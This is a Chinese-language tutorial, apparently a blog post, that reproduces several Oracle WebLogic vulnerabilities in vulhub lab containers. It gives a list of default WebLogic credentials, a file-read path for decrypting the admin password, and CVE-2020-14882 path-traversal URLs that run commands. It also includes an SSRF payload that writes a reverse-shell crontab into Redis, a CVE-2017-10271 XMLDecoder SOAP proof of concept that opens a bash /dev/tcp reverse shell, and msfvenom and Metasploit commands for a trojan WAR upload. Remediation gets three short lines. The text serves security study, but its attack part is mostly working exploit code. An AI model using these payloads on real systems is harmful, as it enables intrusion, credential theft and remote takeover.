Weblogic简介
Weblogic 是一个基于JavaEE架构的中间件,是用于开发、集成、部署和管理大型分布式为Web应用、网络应用和数据库应用的Java应用服务器。Weblogic由纯Java开发,被广泛应用于开发、部署和运行Java应用等适用于本地环境和云环境的企业应用。
所以,Weblogic在面试当中被提到频率还蛮高的。
这篇文章以vulhub靶场为辅。
Weblogic弱口令/文件读取漏洞
漏洞原理
这里有两个漏洞。
弱口令漏洞原理是因为在搭建好Weblogic后没有修改后台的默认密码或者密码设置太简单,导致存在弱口令登录,获取服务器管理员权限。
文件读取漏洞是因为对用户输入内容没有进行限制与过滤,导致可以读取任意文件。
环境搭建
先搭建好vulhub环境,没有搭建的可以先看这篇文章kali搭建vulhub。
先进入对应目录
cd vulhub/weblogic/weak_password
启动靶场
docker-compose up -d
访问靶场
http://ip:7001/console
复现过程
这里存在弱口令登录:weblogic/Oracle@123
可以记一下Weblogic常见的弱口令账号密码
用户名:system、weblogic、admin、system、wlcsystem、Weblogic
密码:Weblogic、weblogic、weblogic123、password、security、system、admin、Password、wlcsystem、Oracle@123
也可以将以上常见用户名密码存储在文件里,然后使用BurpSuite的intruder模块进行爆破。
进行爆破,呃...此环境存在登录限制,错误密码5次就会自动锁定,所以爆破失败了...。这就是爆破账号密码的限制之一。重启一下docker和vulhub环境。用弱口令登录,成功登录后台。
然后点击Deployments(部署),点击install(安装),可以看到有一个文件上传入口
这里上传部署文件(即war文件),这里是Java环境,可以用msf工具生成一个木马
msfvenom -p java/meterpreter/reverse_tcp lhost=xxx.xxx.xx.xxx lport=4444 -f war -o java.war
然后上传我们的war文件,一直点下一步按钮直到完成
然后 开启监听
msfconsole
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.xx.xxx
set LPORT 4444
exploit
接着访问http://ip:7001/java这个url就可以触发木马
前面说过,这里还有一个漏洞,就是任意文件读取漏洞,访问如下url可任意读取文件
http://ip:7001/hello/file.jsp?path= #接文件路径
想知道为什么是这个路径的话,可以用工具扫描。
我们可以借助这个漏洞来读取密文和密钥,由于weblogic密码使用AES加密,它是对称密码,可解密。
weblogic
密文存储文件的绝对路径是/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat
密钥存储文件的绝对路径是/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml
SerializedSystemIni.dat是一个二进制文件,使用BurpSuite来读取
选中数据分段的hex,右键保存到文件中,保存为1.dat
获取密钥文件,然后将其复制保存
{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=
接下来去进行weblogic密文解密,weblogic解密工具下载链接
java -jar weblogic_decrypt.jar
得到破解结果是Oracle@123,也就是密码。
Weblogic未授权远程命令执行漏洞
漏洞原理
允许未授权的用户绕过管理控制台的权限验证访问后台,进入后台后,又允许任意用户通过HTTP协议执行任意命令。
影响版本
10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0
环境搭建
先进入对应目录
cd weblogic/CVE-2020-14882
启动环境
docker-compose up -d
访问环境
http://ip:7001/console
复现过程
可以用目录扫描工具一步步扫然后访问看有什么页面是有漏洞的
这里直接给出了未授权访问管理员后台的页面
http://ip:7001/console/css/%252e%252e%252fconsole.portal
或
http://ip:7001/console/images/%252e%252e%252fconsole.portal
这里的%252e%252e%252f是经过两次url编码后的../,通过这个就可以实现穿越路径未授权访问后台页面
进入后台管理页面之后,点击部署,发现并没有安装按钮,这是因为通过未授权访问的后台权限过低。
方法一
通过com.tangosol.coherence.mvel2.sh.ShellSession 类实现,这个利用方法只能在Weblogic12.2.1以上版本使用,因为10.3.6版本没有这个类。
com.tangosol.coherence.mvel2.sh.ShellSession
类是 Oracle Coherence 中用于执行 MVEL 表达式的 Shell 会话类,提供了一个交互式的环境,用于在 Coherence 中进行动态表达式的执行
直接访问如下URL,即可执行命令
http://IP:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/test%27);%22)
进入容器查看,可以看到这个命令执行成功
方法二
通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 类实现,这个方法对Weblogic的所有版本都有效。该方法需要提前将恶意代码部署在任意网络目录下,当访问该木马文件时即可触发,返回界面任是404界面,但是可以正常反弹。
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
类是 WebLogic Server 中重新打包的 Spring Framework的
FileSystemXmlApplicationContext
类,用于在 WebLogic Server 中加载和管理基于 XML 配置文件的 Spring 应用程序上下文。
此方法需要借助XML文件,访问XML文件来执行命令。
构造一个反弹shell的XML文件,shell.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/IP/端口 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后放在网页文件存储目录下(默认为/var/www/html)
然后开启端口监听和apache2服务,即可访问文件
执行如下URL
http://192.168.15.249:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.15.249/shell.xml(木马文件路径)")
结果如下,反弹成功
修复方法
- 下载官方补丁进行升级修复
- 关闭后台/console/console.portal的访问权限
- 修改后台默认地址
Weblogic SSRF漏洞
漏洞原理
Weblogic的uddi组件实现包中有个ddiexplorer.war文件,其下的SearchPublicReqistries.jsp接口存在SSRF漏洞,可以利用该漏洞可以发送任意HTTP请求,实现攻击内网中Redis等脆弱组件。
影响版本
10.0.2、10.3.6
环境搭建
先进入对应目录
cd vulhub/weblogic/ssrf
启动环境
docker-compose up -d
访问环境
http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp
复现过程
f12页面,发现引用了外部链接,那么就有可能存在SSRF漏洞。
点击search,使用BurpSuite抓包
能看到有个operator参数可能存在SSRF漏洞,那修改operator参数用来探测开放IP端口看看
返回状态码,说明主机存活且端口开放;当访问一个不存在的主机或端口时,会返回could not connect over HTTP to server。
确认存在SSRF漏洞,那就利用Redis实现反弹shell(测试环境Redis服务存在未授权访问漏洞)
先看一下docker容器里的Redis的IP地址:
docker ps -a
docker inspect 容器ID
可以通过SSRF漏洞向Redis写入命令(Redis需要以root权限写入),之前我写的Redis文章就有提及,不懂的可以去看看。crontab是一个可以自动执行定时命令的配置文件,通过它来自动执行反弹shell命令。(*****表示每分钟执行一次命令)
set s "\n* * * * * root bash -i >& /dev/tcp/192.168.15.249/4444 0>&1\n"
config set dir /etc/
config set dbfilename crontab
save
对上面命令进行URL编码:
%0D%0A%0D%0Aset%20s%20%22%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.15.249%2F4444%200%3E%261%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0A
记得要加上每行的换行符(\r\n,编码后是%0D%0A),这里的开头和结尾也要分别填充上换行符号,不然会和其他代码混合而导致执行不了。
开启端口监听,然后访问payload,好吧,我最终没有成功...(我发现我的Redis主机就不存活,可能是IP错了?)
Weblogic XMLDecoder反序列化漏洞
漏洞原理
WLS-WSAT是Weblogic Server事务管理的一个组件,它使用Java的反序列化机制来处理数据,调用XMLDecoder类将用户传入的XML数据转换成Java对象。
在某些情况下攻击者可以构造恶意的序列化数据作为POST请求的一部分发送到Weblogic Server的T3协议端口(默认为7001),并且在请求头中设置一个特殊的“Content-Type”值来触发漏洞。当Weblogic Server处理该请求时,XMLDecoder将恶意的序列化数据反序列为Java对象,并执行其中的恶意代码。
T3协议是Weblogic用于通信的独有的一个协议,Weblogic Server的RMI通信使用它在其他区的Java程序(包括服务端,客户端等)传输数据。
ac ed 00 05
是反序列化标志,而在T3每个序列化数据包前面都有fe 01 00 00
影响版本
10.3.6.0.0、12.1.3.0.0、12.2.1.1.0、12.2.1.2.0
环境搭建
先进入对应目录
cd vulhub/weblogic/CVE-2017-10271
启动环境
docker-compose up -d
访问环境
http://ip:7001/wls-wsat/CoordinatorPortType
复现过程
对该页面进行抓包,修改请求方式为POST,添加请求字段Content-Type:text/xml,然后添加如下POC
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.15.249/5555 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
其中的反弹命令是经过HTML实体编码的,防止XML解析时出现格式错误。
开启监听,成功获取到shell
工具利用
Weblogic-Scan
是一款专门用于扫描和检测Weblogic漏洞的开源工具。该工具可以扫描Weblogic服务器常见漏洞,发现漏洞后需要使用其他工具或其他方法利用漏洞。Weblogic-Scan下载链接
拉取git下载
sudo git clone https://github.com/0xn0ne/weblogicScanner.git
或
sudo proxychains git clone https://github.com/0xn0ne/weblogicScanner.git
常见指令
-t 对目标地址或文件进行扫描(默认端口为7001)
-v 对指定漏洞名称或CVE编号进行扫描
-o 指定输出结果的路径
-s 强制使用https协议请求
使用过程
如图,+号表示存在漏洞,-号表示不存在此漏洞。
总结
- Weblogic中间件常见漏洞文章讲了任意文件读取和弱口令登录、未授权访问后台和HTTP请求远程代码执行、SSRF利用、XMLDecoder反序列化漏洞
- 弱口令登录时因为Weblogic账号密码设置过于简单,任意文件读取是因为没有过滤和限制输入和访问,Weblogic的密码是通过AES对称加密的,所以可以读取密文文件config.xml和密钥文件SerializedSystemIni.dat
- 远程代码执行可以使用两个类,第一个类ShellSession,直接构造函数参数然后url访问就可以进行命令执行;第二个类FileSystemXmlApplicationContext,需要借助存储有POC的XML文件,提前部署到被攻击者网站下任意目录,然后访问才能够达到触发效果
- 存在SSRF漏洞的时候可以利用Redis等进行攻击
- XMLDecoder反序列化漏洞是因为会调用XMLDecoder来进行讲XML数据反序列化为Java对象,所以可以构造包含恶意文件的XML文件然后上传触发。这里需要将GET方法改为POST方法,增加Content-Type:text/xml
- Weblogic扫描Weblogic-Scan的使用
版权归原作者 !!!!!!!!!!!!!!!!. 所有, 如有侵权,请联系我们删除。